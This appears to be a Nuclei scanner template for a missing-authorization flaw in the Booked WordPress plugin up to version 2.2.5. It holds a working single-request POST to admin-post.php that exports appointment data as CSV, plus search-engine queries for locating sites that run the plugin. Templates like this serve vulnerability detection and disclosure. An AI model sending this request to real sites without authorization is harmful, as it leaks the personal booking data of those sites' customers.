id: booked-export-csv info: name: Booked <= 2.2.5 - Missing Authorization on AJAX Actions author: random-robbie severity: high description: | The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions. remediation: Fixed in version 2.2.6 reference: - https://codecanyon.net/item/booked-appointments-appointment-booking-for-wordpress/9466968 - http://boxyupdates.com/changelog.php?p=booked - https://wpscan.com/vulnerability/10107 metadata: fofa-query: "wp-content/plugins/booked/" google-query: inurl:"/wp-content/plugins/booked/" publicwww-query: "/wp-content/plugins/booked/" verified: true max-request: 1 tags: wordpress,wpscan,wp-plugin,wp,booked http: - raw: - | POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest booked_export_appointments_csv= matchers-condition: and matchers: - type: word part: body words: - "End Time" - "Start Time" - "Calendar" condition: and - type: word part: header words: - text/csv - type: status status: - 200